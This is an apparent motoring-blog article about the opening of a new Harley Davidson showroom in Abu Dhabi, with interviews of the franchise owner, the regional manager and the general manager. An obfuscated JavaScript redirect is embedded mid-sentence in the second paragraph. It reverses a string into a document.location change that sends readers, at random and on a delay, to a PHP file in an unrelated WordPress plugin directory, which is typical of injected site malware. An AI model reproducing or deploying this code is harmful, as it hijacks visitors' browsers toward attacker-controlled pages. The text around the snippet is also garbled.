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I’ve come to the conclusion, having been circling the multitude of blocks for a good twenty minutes now, that Abu Dhabi’s Mussafah district is the most complicated place in the world. When I finally pull up late outside the red-carpeted steps of Harley Davidson’s newest UAE showroom, the speeches have already been made and the cake already cut.
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This is an epic fail on my part – which the cheery PR crew take great pleasure in reminding me about throughout the afternoon – but fortunately most of the principal players are still here. Pretty soon for instance I’ve borrowed Humaid Al Masaood of the Abdulla Al Masaood & Sons Group, which owns the Harley Davidson UAE franchise. After a quick catch-up on $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/oryx-racing-humaid-al-masaood-in-at-the-deep-end/” target=”_blank”>his racing exploits, Humaid explains:
“We’re very excited to have this all come together. There have been a few delays in the project itself, but it’s turned out excellently. We’re getting a good response already, so everything’s looking very positive for the future.”
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Almost immediately after that, I’ve also collared Harley Davidson Middle East and North Africa Country Manager Paul De Jongh, who’s equally optimistic in the new venture:
“We are excited with the growth and interest we have seen. We are very confident in the partners we have on the ground, and we know the customer service they deliver is good enough that there’s no reason why the growth and interest won’t continue for both locals and expats.”
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When it comes to the ins and outs of the showroom itself though, both point towards General Manager Steve Beattie, who’s busy being mobbed by all and sundry offering congratulations, handshakes and pats on the back. A quick introduction and the swapping of business cards later, crankandpiston sits down with Steve in the newly opened Harley café for a latte and a chat.
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Steve, today we mark the opening of Harley Davidson’s new showroom in Abu Dhabi. It’s a big moment, isn’t it?
“Oh absolutely. It’s been a culmination of almost three years of hardwork – not by myself I have to say, I just take the credit (!) – but by the team that are responsible for it. It was about three years ago now that we as a group decided this would be the new destination for bikers in Abu Dhabi.
“We’ve had a Harley Davidson dealership in Abu Dhabi for many, many years, but it’s never been to the world class standard that this one is. So we wanted to make a statement, not only to Harley Davidson but also to Abu Dhabi and its riders. They’ve been waiting a long time, and we wanted to deliver something that was truly unique, and I think we’ve succeeded in that.”
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What was the reason behind this new venture, since – as you say – there is already a Harley Davidson dealership in Abu Dhabi?
“It was partially driven by customer demand. Abu Dhabi customers are different to Dubai customers, since have a far higher percentage of Emiratis in Abu Dhabi. We needed to be able to deliver an experience hat matches the passion and investment that they make in the brand, and our existing facility in Abu Dhabi didn’t do that. We are still going to use that facility as a boutique going forward, so we’ll sell MotorClothes and merchandise from there. But we really needed to make a statement to our riders in Abu Dhabi that says, ‘guys, now’s your time!’”
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This being Abu Dhabi, where ‘bigger is better’ seems to be an unspoken mantra, did this new facility need to be grandiose or was that just how things developed?
“The Al Masaood & Sons Group is based in Abu Dhabi, and it’s the capital of the emirates. So yeah, in a way we had to make a statement. It’s a statement facility, it’s a statement by His Excellency Abdulla Al Masaood – he absolutely supports Abu Dhabi – and it’s also a statement for Harley Davidson MENA [Middle East and North Africa] that we are committed long-term to the brand. This is the first development that we’ll be instigating over the following years.”
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Why don’t you walk crankandpiston through the facility…
“This facility is one of the largest Harley Davidson dealerships in the world. We’ve got a 780sq-m showroom, with display space for up to 50 motorcycles. We have a vast array of accessories and merchandise. The café area is central to the concept – we don’t want dealerships we want destinations – so the café area will be open even when the showroom is closed. As we move through to the back of the facility, we have a ride-in service reception, which is unique. It means the riders can bring their bike straight onto the ramp, where our service advisor can make recommendations in terms of build and any accessories the customer wants to fit. We’ve also got a six-bay leading edge workshop.
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“The other unique section is our bike storage area, which customers have 24/7 access to by fingerprint recognition. We have ladies and gents locker-rooms, showers, changing rooms, and designated bike storage, so each customer has a cage that they can lock their bike into. The only other facility I know of that does something similar is in Riyadh in Saudi Arabia, where basically they have an underground parking area. Ours is dedicated and conceptually built for our riders. Hopefully you can see now that this is much, much more than a dealership.”
